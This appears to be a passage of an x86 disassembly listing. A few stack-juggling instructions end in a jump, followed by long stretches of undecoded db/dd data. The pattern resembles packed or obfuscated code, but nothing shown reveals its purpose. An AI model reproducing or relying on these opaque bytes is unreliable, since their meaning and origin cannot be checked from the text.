		add	dword ptr [esp], 4
		pop	esi
		push	edi
		mov	edi, eax
		mov	[esi+8], edi
		mov	edi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_54FDCC
; ---------------------------------------------------------------------------
		db 0AAh, 3Fh, 44h
		dd 11B8E7BDh, 306B2E9h,	0E9E0FFC5h, 1F35A221h, 99073E4Bh
		dd 0D240F4AFh, 0B05576B6h, 187108DFh, 5D1CB651h, 8E77C6DCh
		dd 675F9BEh, 0DE277825h, 1A076255h, 0E618E509h,	0CB0D74A1h
		dd 425B52E0h, 0F2798CF8h, 0DF3A344Dh, 0DE2D2610h, 313A56A8h
		dd 7B70AB22h, 0B4197F57h, 0D20D087Eh, 5D541C07h, 0E86FA532h
		dd 0Ch,	6C6FFD4Dh, 0B2D18922h, 7AA1F224h, 5ED98B66h, 6838C681h
		dd 0BF660000h, 0E3BAB400h, 0E9000019h, 0Ah, 0D6D1E501h
		dd 5AFD06FFh, 36FFB15Ah, 8841FDBFh, 0E9575871h,	0Dh, 70C889EBh
		dd 0C69335F7h, 18A5D607h, 0E8815938h, 19EF3642h, 13E9h
		dd 95D7B400h, 0F2321588h, 7FBB2B6Fh, 3A219484h,	0CF063123h
		dd 47F8F081h, 0F1812316h, 159580B0h, 95B4F081h,	0B70F7D5Bh
		dd 890F50FBh, 9, 3870Fh, 8B660000h, 0E9068FFAh,	5, 92C12E0Bh
		dd 7CEE81A1h, 0F1F8C8Dh, 0C681F9BFh, 1F8C8D78h,	7F850F4Ah
		dd 0FCFFFFFFh, 13E8h, 0F2DC0B00h, 0DB8F6EE9h, 292981DFh
		dd 6FA8AA41h, 80E8CDA1h, 820F59F9h, 0
aBUh		db '│аuh',0
		align 2
		dw 8166h
		dd 0BA5FB9DEh, 19F9h, 2800F53h,	60000000h, 31FF5F61h, 5B1BEC80h
		dd 0E07AEB81h, 81F95825h, 672B4CC3h, 0DE939h, 0C9C30000h
		dd 95CDFCE8h, 0BA7DD836h, 811FDE45h, 0DF168BEBh, 0EE96Ah
		dd 8EB0000h, 0F60D09C8h, 0AB7C5FBEh, 88E40604h,	0BB666053h
		dd 8B662D53h, 18F61CFh,	4E983FCh, 0EA81C38Bh, 1, 0FFA4850Fh
		dd 0BF66FFFFh, 32E97274h, 5F000000h, 3D313Ch, 0Bh dup(0)
		dd 0B9AE900h, 2A680000h, 0E906B2EDh, 0FFFA5949h, 0B2EE8968h
		dd 593FE906h, 1368FFFAh, 0E906B2F0h, 0FFFA5935h, 0B2F12068h
		dd 592BE906h, 9A68FFFAh, 0E906B2F2h, 0FFFA5921h, 0B2F48B68h
		dd 5917E906h, 8668FFFAh, 0E906B2F5h, 0FFFA590Dh, 0E1225F08h
		dd 2FEC9DCBh, 0F4375005h, 3EFD8CDEh, 0FA394414h, 19499CFFh
		dd 0DE8DA764h, 10446EADh, 0CD9CB675h, 4C773B0h,	0F8B5FA1h
		dd 2551A86Ah, 3F6995C4h, 55FFD642h, 0B9900401h,	28795392h
		dd 5FF76557h, 0CFBC7D0Eh, 0BC8AFCADh, 5491A3EFh, 5A9B690Ch
		dd 62DB681Bh, 20821F1Ch, 32A6DB8Ah, 730A291Bh, 9268F167h
		dd 9DEE2DB9h, 1944AD73h, 9FAE6A93h, 0EE42E615h,	52A88BB9h
		dd 736A0949h, 0B1B7EB16h, 0A0072A2Dh, 2Fh, 1DD3B656h, 0A58A79DCh
		dd 103B68F0h, 0AA59A384h, 1D786A08h, 0C8C6AAE6h, 4268072Ah
		dd 0D6FF6B16h, 0A66CB217h, 0B09B6A08h, 0EC9082h, 0AF660000h
		dd 9FB54BEEh, 0BDED635Ch, 0CCFED5C0h, 9CCD3160h, 9F5CC8E3h
		dd 9D9C5AECh, 2715E70Ah, 32A6DB8Bh, 0B1882F1h, 0B4FD47EFh
		dd 67B2A86h, 287B5192h,	9CCD6153h, 0C18520E3h, 7D635D5Dh
		dd 3C8E8B2Ch, 24CFBB6Dh, 3BAFDA8Eh, 0BBFA3912h,	9BB850C8h
		dd 396A5D44h, 0D6FDD440h, 6D5F2A7Ch, 3B6E90C1h,	0D8F3DA4Eh
		dd 0F4A58F4Ch, 0B521580Ah, 5B85B79Ch, 9431F03Eh, 68F0C00Dh
		dd 4810D3F8h, 8326E72Dh, 6F9A1F1Dh, 0EAC0012Ah,	2E04C7BAh
		dd 0B24CE97Eh, 5D70B763h, 5C975D76h, 73736F8Eh,	94C54E5h
		dd 0B9EE0000h, 77210BC8h, 0B6E3C90Ah, 6E3C16D5h, 0AAFAD013h
		dd 721114D7h, 5192EFBFh, 9053287Bh, 5093EEBAh, 95562B7Ah
		dd 0B947E221h, 566A0F8Ch, 94C4DBAFh, 51002AE9h,	96C7ED2Ch
		dd 894861F5h, 5C9FD22Ch, 24163D63h, 0D3B695E1h,	26B2CF9Ch
		dd 0A4E5240Fh, 0C874DD8Eh, 4512FB9Fh, 0DBF8CAE1h, 68F0AE28h
		dd 3C4F8EA5h, 0E95261A1h, 898DDECBh, 9B5AE112h,	3F4C1FB5h
		dd 22B082ABh, 8E3F705h,	66FDAF6Ah, 8E43DC3h, 0CAE1CA6Ah
		dd 0E5A4F65Eh, 0C2778071h, 0B5805A30h, 9DD23154h, 69C02346h
		dd 47751643h, 29F78769h, 1057E07h, 0C4880000h, 39CE3095h
		dd 0ADE242F9h, 0A3375407h, 0F635A18Ah, 9DF4AA85h, 9A33D98h
		dd 9BB2265Bh, 285505A9h, 4CB9BBCh, 466C635Dh, 89C5AC15h
		dd 0A0753BEEh, 4415B98Bh, 81F96AE3h, 2376C45Ch,	0F0DBF266h
		dd 633218DBh, 35508A1Eh, 3E7F3EFFh, 5CA1859Bh, 70176463h
		dd 59A84650h, 2D75BF4Ch, 528FBD02h, 19684B79h, 0F468F0E9h
		dd 21441CDFh, 0E44E3362h, 22E3C8B5h, 0B2265B08h, 21FF5A9Bh
		dd 0EE6A08EAh, 9530F7C5h, 6F9A6354h, 0AE48C635h, 0CE4161BFh
		dd 5E0E24E5h, 8BA1E023h, 0EB3A7BD8h, 9AF20951h,	7F2F83B1h
		dd 75FDC802h, 50C6736Fh, 7EDE1h, 691A4D00h, 0ABD680AAh
		dd 6A174268h, 0A8D183A9h, 6C11416Bh, 4C9AAAFh, 0C0EA2954h
		dd 72DEE93h, 0DFF53653h, 8A3EFD8Eh, 8E12EC49h, 4FD6A0Fh
		dd 0E994C470h, 6B2A6B2Ah, 5CA030CEh, 0D1F4DF63h, 635CA04Fh
		dd 0DA193B8h, 0AF9EFB5Ch, 0B06DAFBDh, 0C42C589Bh, 5A29E895h
		dd 5CCE0E89h, 278243D6h, 635D39D9h, 0BD2F1D36h,	0F83B4415h
		dd 0CE0FC5A0h, 0F1332C6Bh, 0F17E0D68h, 0EA5B0659h, 0FAD1C2F0h
		dd 0D287AD6Eh, 29D30E69h, 7D5600EDh, 5EF2C0E9h,	9BB1720Fh
		dd 0E625B1CAh, 78EC99CCh, 99406351h, 0A5EF42F9h, 200A9F42h
		dd 0F4A20875h, 5A0BA795h, 89A3E221h, 3C90A2DFh,	0A384106Dh
		dd 0F14F4058h, 40730041h, 0A4668721h, 9D44A795h, 96553667h
		dd 4211EDBCh, 0A1861239h, 4E0F1996h, 3DF3EE0Bh,	0FAD0136Ch
		dd 9842D6ABh, 53F637FDh, 0F6E2CD30h, 2D75B69Dh,	7A3BFA48h
		dd 34809E3Bh, 0A48FF7FBh, 3306B596h, 6C47FD8Fh,	363CDFF8h
		dd 6207FEA7h, 0CE6B2A7Fh, 0FEA73630h, 5A4F3260h, 8B6D4371h
		dd 7A728C41h, 3BCh, 1474B18Ch, 0D772B371h, 68F06D3Ch, 4963A289h
		dd 8454661Bh, 0FA008D2Fh, 9C5237E8h, 842DF85Dh,	0F3D8F0ABh
		dd 0AD8BD67h, 454CB8CBh, 380F130Fh, 0E9F482CBh,	0A391782Eh
		dd 222C164h, 88A3F755h,	0EC490849h, 0F873C412h,	48E4D6FDh
		dd 8FA56419h, 599CAEDBh, 93592273h, 0EB226FACh,	6344F563h
		dd 0D7000006h, 6A408380h, 0A48E4D3Ch, 7D5794F1h, 0BB91522Fh
		dd 505596EBh, 0D3AEFE33h, 10693A10h, 0D0ADF9D3h, 17683913h
		dd 6A360D4h, 6A0F8FF8h,	0AF9AEE17h, 21B5D685h, 81E43A08h
		dd 0B0C38243h, 0A3732358h, 92C5E869h, 0E273DD2Eh, 0A8DAE9Ch
		dd 0FB68F13Bh, 0BDEC44D0h, 0AFFC54C0h, 0BAEE46D2h, 48631E4Eh
		dd 0A75A3FDCh, 9C4720E8h, 72B37114h, 49D77233h,	0C66A0960h
		dd 0B9FCDFEDh, 546F9D59h, 0C796BC7Fh, 0ACED2EBAh, 0B57EF709h
		dd 74D11070h, 70B57EAAh, 57654E65h, 45D1AAFBh, 0E220C3A6h
		dd 0F10216B3h, 4CC856F3h, 6C4770B5h, 5F15B09Fh,	51F4B574h
		dd 70B4F0CFh, 0E4211338h, 61D6A5h, 0D8F82BA6h, 91975AA4h
		dd 0B785AEF3h, 7E939799h, 2868E00h, 0B6780000h,	0CC52F7D3h
		dd 3B635C9Fh, 89FA3B10h, 8508C12Fh, 5B9CAE3Ah, 0EA4AE9FEh
		dd 72B39868h, 0B6750858h, 25B1CC9Ch, 0D0293102h, 8DFEAFC6h
		dd 863A6E47h, 2B32578h,	556h, 15D6B3E4h, 0DB18693Fh, 18DBA4F1h
		dd 0DA196032h, 1EDDA0F0h, 0E5B5781Bh, 22715B98h, 0E4B09A59h
		dd 21705A99h, 0E82B9F5Ch, 0F90B34Dh, 0D1A55C6Ah, 0DC1DD3B6h
		dd 0E9C47079h, 0FB3A1168h, 8B011FBAh, 0A40E6A0Fh, 290094F1h
		dd 0AA23002h, 0A4E5265Bh, 3D28D6D7h, 2F1D3932h,	3DA9D283h
		dd 2FBBC495h, 0F7A78DCCh, 0A85BB88Ah, 87463B6Ah, 949D63C6h
		dd 416A6A0Fh, 1A1EB673h, 90723DEh, 1CCh, 0C9B4E0CAh, 0EEAF09FBh
		dd 9FF40AAFh, 3813635Ch, 5CA0031Dh, 15270C63h, 0D87DE8B9h
		dd 635CA046h, 55C1EAC1h, 10D3ACFDh, 0A80D2D48h,	635CA056h
		dd 77699AB1h, 77888018h, 0F45190BBh, 68F0CCA9h,	0FCDB4F64h
		dd 6A08F21Eh, 0E39F4227h, 72A84FDh, 35F4h, 92443700h, 0C9EED56Fh
		dd 0B6C13301h, 9DDC1DD3h, 2F7EE3B7h, 8811649Fh,	0B093A18Ah
		dd 68F0F251h, 0E4C3577Ch, 6A08F716h, 0EBA75A3Fh, 72A7C05h
		dd 0AAFCh, 95C40A00h, 84D47CE8h, 14B38F9h, 1FE1446Ch, 0E8635D50h
		dd 6C7330C3h, 0C46CFECCh, 0BF7CE895h, 2FC55BFEh, 6942635Dh
		dd 0E5A6F75Bh, 33C38326h, 2E7F635Dh, 0D8F38EDCh, 255C6A19h
		dd 0D4CF4F9Bh, 1E7B23E6h, 7A5011D0h, 41625029h,	68EEA80Ah
		dd 0B5D685AFh, 0F6A20821h, 4361F8Bh, 0D7FD3C17h, 1339FA87h
		dd 0E7F43E43h, 0BC789A7Bh, 3DC9B2Ah, 95E0000h, 0C791BB78h
		dd 65379BAh, 0BEECC605h, 7A2A00C3h, 0A2C1C407h,	81423F6Fh
		dd 4083F8ABh, 80433E6Ah, 4586FBAAh, 899732F1h, 866A0F92h
		dd 94C40B7Fh, 51002AE9h, 0C49BEF2Ch, 0BF7CE895h, 436370CCh
		dd 0FCCE95D1h, 0BF7C0150h, 0F885D4FEh, 0A977456Ch, 62C706CCh
		dd 68F13CFFh, 9965301Ah, 0E27B3CCh, 5998B125h, 9A422FCh
		dd 0F4C6ED6Ah, 7D8326E7h, 6C6A09A4h, 481570E2h,	0DDF6E37Bh
		dd 3BAB7C2Eh, 4863849Ch, 0E11FFBDCh, 6536A09h, 21B5D084h
		dd 1FB72308h, 91ECBC4Eh, 0A8CD2EBAh, 0DCADFB39h, 0AB4A6148h
		dd 9CB613CEh, 8028BCC9h, 1138ACD1h, 0B3D6083Ah,	0E0EC3297h
		dd 301B6A09h, 47FDA1Bh,	0C16F9DADh, 1B6829EAh, 0AC60FAABh
		dd 0C73507B7h, 3C6995C4h, 9FF20CA9h, 361D635Ch,	0A5E6B71Dh
		dd 0AB0E4F8Eh
		dd 635CA055h, 0BB2F580Dh, 9EAC8792h, 88F5A40Ch,	0EE4B0A4Bh
		dd 635CA010h, 38E6D4FFh, 0F356975Dh, 68F099ACh,	0D9A2F359h
		dd 0DB4F644Dh, 8BF1EFCh, 9F42276Ah, 0C71200Ah, 0AD83B198h
		dd 72AB7CBh, 54BAh, 0D3B64C00h,	9FCC52F7h, 103B635Ch, 0A45FFA3Bh
		dd 2168F0A5h, 36A2DF8Bh, 0B4F5341Fh, 8AA0F11h, 0E1D3F86Ah
		dd 0A9C65473h, 0EA8F6A08h, 162152F7h, 8A2D107h,	692EFBCh
		dd 1836042Fh, 72A0718h,	0D40Fh,	288DCC00h, 6A095FD6h, 0B1CA9B31h
		dd 15270C25h, 0E895C4E7h, 33CD6829h, 63635CA0h,	0F5DC4831h
		dd 6BF9CBE0h, 7AEE93C3h, 0EDB5CAB9h, 0C76C2882h, 770859F5h
		dd 0E01A4BE3h, 21E2C9B4h, 5D34C084h, 502D7C63h,	4FE8B993h
		dd 0CA464E71h, 5ECAE126h, 0E223E184h, 0F125B447h, 0B97A5168h
		dd 9ACF84E1h, 0A603C2E9h, 6F9A8399h, 2802C3E8h,	87C60578h
		dd 0B280FDADh, 0F9334E1Eh, 736E62E4h, 0EB9829BFh, 4F000001h
		dd 82A86B18h, 5C76B5D4h, 95BF7C09h, 5379BAC7h, 0B8BD7E03h
		dd 3B4616DBh, 0F881D2F8h, 3845113Bh, 0FF80D1FBh, 0EE4B883Ch
		dd 6A0F9410h, 0C47206FFh, 6928E994h, 5CA032CCh,	0C4F6DD63h
		dd 396A4001h, 8FDE7240h, 0D77233F2h, 635CA049h,	1ADFEDC6h
		dd 1DD3B66Eh, 0E1B79DDCh, 52B192A0h, 7368F0A6h,	11EBCC58h
		dd 306A08ABh, 0EEF2AE55h, 0E5072AC7h, 0DDh, 0D785AF13h
		dd 2D067B2Bh, 0EA290B9h, 1EB6225Fh, 81F2334Eh, 764A7F61h
		dd 65379D3Ah, 0A3841624h, 635DA1A3h, 3E4B1E34h,	8CF1A00Ch
		dd 4B34654Fh, 0A26005DFh, 0AF33C663h, 0F9D268F1h, 0C907623Ah
		dd 12EC4908h, 0FD6A09AFh, 0AF87993Ch, 0AB806A09h, 0D075B280h
		dd 6F9B27F6h, 0C8BB7A51h, 9F58291Fh, 0D51220C2h, 13D2AFFFh
		dd 84106D39h, 37C96CADh, 0D070B821h, 260CC9FBh,	0C6C10B76h
		dd 9D736ECAh, 0F0BA0Bh,	15420000h, 0CB9DB774h, 2577DBEh
		dd 0BAE8C201h, 7E2E04C7h, 0A6C5C003h, 8D4E3363h, 5497F4A7h
		dd 9C5F2A7Eh, 599AE7B6h, 758B2EEDh, 926A0F95h, 85AF1F6Bh
		dd 0A23B7D0h, 53C49438h, 0A069B712h, 8DA6635Ch,	5CA056A8h
		dd 20CD5763h, 9423A3Ah,	0DF1C371Ch, 18DBA4F5h, 4BEEAF6Ch
		dd 635C9FB5h, 0E74B7952h, 0E941D5B6h, 0AA4B1FB8h, 5EC9B508h
		dd 0DDF7B675h, 4168FC89h, 0A2C8AD73h, 3F7E7E49h, 2F580DA7h
		dd 4BEE2F04h, 68EA9F7Ah, 97F0A50Fh, 0D18028BCh,	14456FACh
		dd 7519B8EAh, 332A4694h, 577EEAC1h, 59FCBD7Ch, 6A1096C7h
		dd 95C16B40h, 67557CE8h, 0DBA2D2F5h, 9770828Ch,	9AE7B66Ch
		dd 59227359h, 4A3765CDh, 652476DEh, 710A59F1h, 38AB4EE5h
		dd 2DD4B37Bh, 26E5A6F7h, 0B4205D0Ch, 0D05h, 85AFF100h
		dd 920B4D1h, 0B88AF7A3h, 93C450A6h, 9BCA62F6h, 8EDA72E6h
		dd 9CCF67F3h, 83D37BEFh, 92C26AFEh, 81D37BEFh, 91C46CF8h
		dd 9EC860F4h, 53A277E3h, 0C381E389h, 4,	8704EB83h, 895C241Ch
		dd 5A682434h, 89000049h, 2E68242Ch, 89000020h, 0BB53243Ch
		dd 201C6B63h, 1C0EEB81h, 0DD89E326h, 99F5815Bh,	543A44A4h
		dd 81243C8Bh, 4C4h, 5AAF6800h, 2C890000h, 242C8124h, 346B4F2Dh
		dd 8108478Fh, 4F2D0847h, 3C8B346Bh, 0E3895324h,	4C381h
		dd 0C3830000h, 241C8704h, 2434FF5Ch, 4C4815Dh, 0E9000000h
		dd 0FFFA4DC1h, 604A628Eh, 0D3208B03h, 0B2F69BB8h, 0FFC50306h
		dd 0AD7EFCE0h, 0B113BE58h, 72B6055Ah, 0B01A3209h, 0C18D0227h
		dd 5C53AC75h, 3AF34E14h, 420B6864h, 74493835h, 97907172h
		dd 579950Ah, 679A422Fh,	1CF34C38h, 1B6EF372h, 5C22106Ch
		dd 623C552Dh, 1D6B7305h, 0FC77542h, 5DF88056h, 0E49F010h
		dd 0ADE8E129h, 3BCDF15Ah, 11E84Dh, 0DEE30000h, 0BDBC512Dh
		dd 12C484AFh, 0A385FEB7h, 0B0A0D618h, 59505E06h, 6F9BC681h
		dd 0BF660000h, 6806BCh,	60000000h, 5B61F88Bh, 12E9h, 0E3A09900h
		dd 0DE7A4D62h, 424068A6h, 6A8AE709h, 8B47214Bh,	860F1E14h
		dd 5, 5C24A9B9h, 0BC28179h, 0E804F7A9h,	14h, 0C706F924h
		dd 78B0F2ADh, 7F8F3240h, 920CAC08h, 0FA59CEDEh,	0EE960h
		dd 6BDE0000h, 3289A5C1h, 0F3E2585Eh, 0B7D4B16Eh, 58615850h
		dd 0E993EA81h, 0E88A6AC9h, 4E5CEA81h, 0E1814BF2h, 30102125h
		dd 0C6816052h, 65741F08h, 0BE9h, 0B7C58B00h, 0DF66048Bh
		dd 18204A22h, 1E048F61h, 0BEB313BFh, 81CE8B67h,	8AE64EEBh
		dd 0CBB70F74h, 0E64AC381h, 8B66748Ah, 80FB81FAh, 0FFFFF91h
		dd 3185h, 0BE800h, 0ADC20000h, 66C33FBFh, 0A48DB49Ch, 68F0FB6h
		dd 0F000000h, 85h, 22E95800h, 24000000h, 0D726056Ah, 0C23DCB67h
		dd 0D0D137B2h, 0B70F365Dh, 0FF2DE9FBh, 0BDC7FFFFh, 64C65EB8h
		dd 0EA03719Eh, 0BA8D8DD9h, 6A06B2F9h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 8B0DC352h
		dd 0AC32D1BDh, 0D8D8906h, 6A06AC2Fh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 3A8BC352h
		dd 0FEE7FD95h, 2D8D958Bh, 85C706ACh, 6AC1E05h, 5934h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 3C35545h, 0DE2BAC8h
		dd 8B3364E1h, 0AC23FD85h, 0DF816606h, 85C77EA1h, 6AC27F1h
		dd 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 45C35343h
		dd 0DF800344h, 0E5B5FFA7h, 6A06AC33h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 2BD4C357h
		dd 8D5EA12Eh, 0F1CA8166h, 0F995FFA2h, 6A06AC0Bh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 0A89FC352h, 0F112060Ah, 6AF8F0B9h, 4595FF00h, 8B06AC21h
		dd 0D42FEBC0h, 67384E7Ch, 0EFE05D82h, 199376E6h, 0ABC20CFCh
		dd 0A0759392h, 0BB81C1AFh, 0AACED18Dh, 89E0E78Fh, 7A1F3427h
		dd 0A8839088h, 6EBD750Eh, 8D8D561Bh, 6B2FAB5h, 48A0Fh
		dd 0B8660000h, 0A5B89F36h, 891939F2h, 0AC2F0D8Dh, 585C706h
		dd 4006AC1Eh, 6A00005Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 0F2A0C350h,	0C98D31E5h
		dd 0C706AC19h, 0AC27F185h, 6, 7D852300h, 0FF06AC05h, 0AC3009B5h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 0BD91B50Bh, 674C1612h, 0BD230866h, 6AC1979h
		dd 0BF995FFh, 6A06ACh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 0FE928C3h, 53000000h, 0D6E18F54h
		dd 8E72E8CFh, 0EE59DA6Dh, 6AEBEDh, 214595FFh, 0C08B06ACh
		dd 0D7FF3FEBh, 6BBEEA36h, 6E4E9AE1h, 5E638A26h,	0BFAB359Fh
		dd 4811682Dh, 0A136EC59h, 0DCF75116h, 0A6D6963Eh, 5C6B190h
		dd 1C04694Ah, 206F21A3h, 0F1A71D7h, 2AA38FA6h, 2DCAEB33h
		dd 0F8069085h, 12E8B8h,	47DE0000h, 541A94C7h, 0CFE29CF4h
		dd 40177FC4h, 4F748EDBh, 3141B52Bh, 2B5F06ACh, 0AC0D9D9Dh
		dd 39C78106h, 8100006Ch, 4A04BAD8h, 0BA30h, 0BF0F0000h
		dd 170C8BDAh, 6810Fh, 858B0000h, 6AC3209h, 3838E981h, 8D894270h
		dd 6AC241Dh, 0FD1CF181h, 0B86615D6h, 0E9812782h, 52EA9A97h
		dd 8996EB80h, 160170Ch,	0AC0B299Dh, 61B58906h, 6106AC25h
		dd 808FEA81h, 0EB816B96h, 7EC4D5EAh, 808BC281h,	890F6B96h
		dd 8, 71958951h, 5E06AC12h, 948CFA81h, 850FFFFFh, 1Bh
		dd 5851B351h, 22E9h, 41430F00h,	0EF7BC23Ch, 0AF010F0Bh
		dd 4DE17498h, 95F9B77h,	0AC05F9BDh, 0FF6FE906h,	68D6FFFFh
		dd 0E8F5A390h, 10h, 0C7F311B5h,	27C38EF0h, 33FDC9DEh, 0ACEA0CA4h
		dd 5E8h, 9FBD6C00h, 7E9045Ah, 8C000000h, 0A7E9DD6Ah, 5B584285h
		dd 3111858Bh, 0C38106ACh, 5E5Fh, 12E9h,	908A7500h, 65194A15h
		dd 9A8B2D48h, 867350B0h, 2B77345Fh, 12E9D2h, 56120000h
		dd 0B60C902Bh, 0A02E48D0h, 2444882Eh, 9ACDEB5Ch, 89130C8Bh
		dd 0AC301995h, 13E98106h, 0F12D4B7h, 0E981FAB7h, 3BCC654h
		dd 4BD78166h, 0CFC1815Fh, 0E82F667Ah, 0Dh, 7F8F3240h, 920CAC08h
		dd 0FA59CEDEh, 5AE081F1h, 58611F75h, 8B130C89h,	0AC193585h
		dd 0F18B6606h, 0A6A1EA81h, 8B6636E9h, 9DC281C2h, 6636E9A6h
		dd 81FCFABFh, 0FFA26CFAh, 99850FFFh, 66FFFFFFh,	8DF4AABFh
		dd 0B2FD2F8Dh, 6800F06h, 9000000h, 0AC27159Dh, 91B58B06h
		dd 8906AC23h, 0AC2F0D8Dh, 3820F06h, 0F000000h, 85C7D8BFh
		dd 6AC1E05h, 6EC0h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 9AC35545h, 0F334AB4Ch, 85C7F5F8h, 6AC27F1h
		dd 0
		dd 0FE8h, 376B7400h, 4ABBB890h,	5ECF9CCFh, 1A9559D3h, 31059529h
		dd 0FF5F06ACh, 0AC2DA1B5h, 0DBA6606h, 0F995FF5Bh, 6606AC0Bh
		dd 6DFDB81h, 95FF006Ah,	6AC2145h, 28EBC08Bh, 0F0A010B8h
		dd 14257CC1h, 1CE6F556h, 0BEB1F805h, 0C7C806E0h, 21C5254Fh
		dd 6B14A879h, 0D9DAED97h, 57006D8h, 49FD6FF4h, 2CE9h, 0C5F70200h
		dd 3, 9	dup(0)
		dd 4DCE900h, 21CC0000h,	779424E5h, 20CE7EBFh, 759525E4h
		dd 21C878B9h, 0A05924E5h, 11D00CE3h, 4E8F47A1h,	1BDA12FEh
		dd 4B8A42ABh, 0ACE05302h, 0F1E8E038h, 56B707D6h, 0BA095E9Eh
		dd 0E8E03866h, 20A987ABh, 77AD5EACh, 0F5547E12h, 6BAB852Ch
		dd 5E5B8C3Ch, 9279B7EDh, 62804EFh, 0D5E56CC6h, 872DFE36h
		dd 7A53C309h, 40830A70h, 10AEBB11h, 935CB003h, 8DA1EF92h
		dd 1E0D8AA5h, 8E46A797h, 40A9194Eh, 67EE4484h, 0BE7EB657h
		dd 0F82BE308h, 154BF8A9h, 5AEF9299h, 99114776h,	725EEF92h
		dd 2B0B39FBh, 33F11A3Fh, 0AD43DA5Bh, 331BB171h,	0DEF0F8F0h
		dd 8B43AF1Fh, 0DE16FA4Ah, 7B3EA81Eh, 92AD94C8h,	0C7F5D9EFh
		dd 1DDDF32Bh, 4B8B43ABh, 10D00CFDh, 0AE8D49A6h,	82A1E08Ch
		dd 7D91C4A0h, 0D7308041h, 907CCC1Fh, 0E0348754h, 2DEF92ADh
		dd 0FF4A8801h, 0EF92ADA6h, 0DB318152h, 0C049E323h, 0EE6A86E2h
		dd 0E2C0BBC7h, 5Eh, 0C415BF6Eh,	0E35FC61Dh, 719AAA23h
		dd 36D666B5h, 0B577FEh,	0EF92C0CAh, 20CD7DAEh, 0DE63DCE2h
		dd 755B4917h, 30EC03B5h, 0FD745AF0h, 0D357B3DFh, 0D9C0BB94h
		dd 1, 75B15E55h, 36EE03B5h, 6CA840F6h, 0D2BE9EACh, 6BAA628Fh
		dd 0B40732DBh, 0EF933560h, 6EAF81ADh, 0A5618F3Fh, 0AF5EA02Ch
		dd 0EC01B777h, 1BF5A136h, 28067786h, 432F8DE8h,	0B131EF1Eh
		dd 152F87D5h, 0EC5C9DB3h, 0B503C3FBh, 0E64C9F57h, 0C9DA24E0h
		dd 0F72FD908h, 9BB39D37h, 0AE025E84h, 79BB3299h, 0F9157155h
		dd 0C0BB626Dh, 7767h, 0AF5EEB00h, 0EB01B777h, 0A845F333h
		dd 0F01AAC6Ch, 0C505C128h, 0A981416Fh, 0EE581975h, 10FFA2CEh
		dd 46A515D4h, 10F84E8Eh, 0EF3814D4h, 85CEFBEh, 55EF9336h
		dd 36144879h, 7559EF93h, 0EB2DEFCh, 0E368D5A4h,	7780D3B6h
		dd 0DF2F07A6h, 79BB314h, 401E8DAAh, 26B23BB2h, 2AC0BB86h
		dd 3Bh,	77AF5EA6h, 31ED01B7h, 6905D9F1h, 0A41FD534h, 8184F2EBh
		dd 333FFED0h, 25E10FBFh, 0B76F9CACh, 0F935D464h, 0D81A9339h
		dd 9336346Dh, 84E0C0EFh, 0BB4FEC68h, 1E4C0h, 5E680000h
		dd 4B8368B0h, 42F2A565h, 19B373ABh, 8F47A090h, 8939E84Fh
		dd 9E56B763h, 1ADAF45Eh, 6F1B39B0h, 0F3299ACBh,	38EF9335h
		dd 3FAD9D14h, 0E7234687h, 0BC0F5E8Dh, 0EF933568h, 0B45D1E8Ah
		dd 45527C12h, 6031E069h, 274E8231h, 0BF93EF93h,	35340536h
		dd 95B9E52Fh, 0DF15F646h, 0AC06B670h, 0D616389Fh, 7E508C60h
		dd 0AEA7DC56h, 179E6E1Ah, 528A63D5h, 12CA2393h,	392F67D2h
		dd 1BC7F63Fh, 5C12A6Fh,	5B9374C4h, 0BC2D9Bh, 6B07A5C0h
		dd 4E8667D7h, 9DAD248Eh, 7871B06Ch, 39E8B2FCh, 0EEF4h
		dd 4F8B7800h, 3618D439h, 224F56E5h, 0F0DCE52Fh,	3AD76730h
		dd 0D23B0B82h, 826BDB1Ah, 0CB3C8A4Ah, 14B6D313h, 8C42578h
		dd 0A444C0C9h, 484C39E8h, 0C0000000h, 0D43A4C8Bh, 806ED818h
		dd 97446A44h, 4691F43Dh, 21A8C0DCh, 0E62D43F0h,	1E326F92h
		dd 0E6356BDEh, 0E7C76F92h, 53C4038Bh, 92E5ACE0h, 9320F16Fh
		dd 6F92E53Dh, 0AE80AE82h, 0E5BACE7Dh, 0EBC7EF92h, 75602Ah
		dd 8B6A0000h, 0A7F6254Fh, 0B73EF617h, 2F27A984h, 0E70636E5h
		dd 6B45EF2Fh, 30EC1DABh, 70A841F1h, 9F4B639Bh, 0E415354Ah
		dd 0F2588BA5h, 0FA114351h, 5197EAC2h, 0E550921Bh, 0F63F51AAh
		dd 8132634Ch, 0F63F534Bh, 8E9955B5h, 5D092BA2h,	0D617CF38h
		dd 0CE1D77B3h, 0D227C47Dh, 25E5C9EBh, 82427A93h, 0E36B0725h
		dd 2D9E4D27h, 0F2852594h, 0D666B599h, 973DFD39h, 8BD1DD1Eh
		dd 45F6254Fh, 0E52609ACh, 0EB5D9DB1h, 5A0BCA02h, 803306EAh
		dd 0F646334Ch, 5393BD91h, 0A74070F9h, 431AAF6Fh, 29EACCFFh
		dd 69D95D09h, 0C96F477Fh, 955AC3F2h, 7A93A32Ah,	0DA338342h
		dd 0B454E222h, 3D1FB878h, 25DB0C51h, 18B799F1h,	4786A857h
		dd 1EDE16F7h, 1152h, 2F005800h,	57751185h, 927F051Fh, 1E309A5Ah
		dd 0B35E1B97h, 0DC0DBB7Bh, 0BA56E020h, 9274C202h, 0BD2C9A5Ah
		dd 9877C101h, 0C22A9C5Ch, 8E7CCA0Ah, 0CB209656h, 68DDD313h
